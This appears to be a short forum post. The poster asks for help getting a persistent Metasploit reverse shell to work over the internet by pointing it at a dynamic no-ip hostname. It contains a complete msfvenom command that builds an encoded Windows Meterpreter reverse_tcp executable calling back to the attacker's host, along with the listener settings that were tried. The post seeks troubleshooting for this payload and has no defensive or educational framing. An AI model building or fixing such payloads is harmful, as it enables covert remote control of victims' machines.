So I want to be able to create a persistence payload over WAN, the problem with that ofcourse is that the public ip address gets updated like everyday (at least mine does);
so I tried to create a hostname on no-ip, and when creating the payload I used this command:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=<MYHOSTNAMEONNO-IP> LPORT=4444 <and yes I already portforwarded that> -f exe > payload.exe
and then on the listener I set the LHOST to that hostname and then set ReverseLisnterBindAddress to <my internal ip address;
which the port is being forwarded to> and after I entered exploit and then launched the payload nothing happened, so I tried to just set the LHOST to the HOSTNAME and unset the ReverseListenerBindAddress so it started the handler on;
after that I tried to open the payload but that didnt work either; Finally I tried setting the LHOST to and unset the ReverseListenerBindAddress and launch the payload but again, nothing happened.

Any suggestions on what I could do?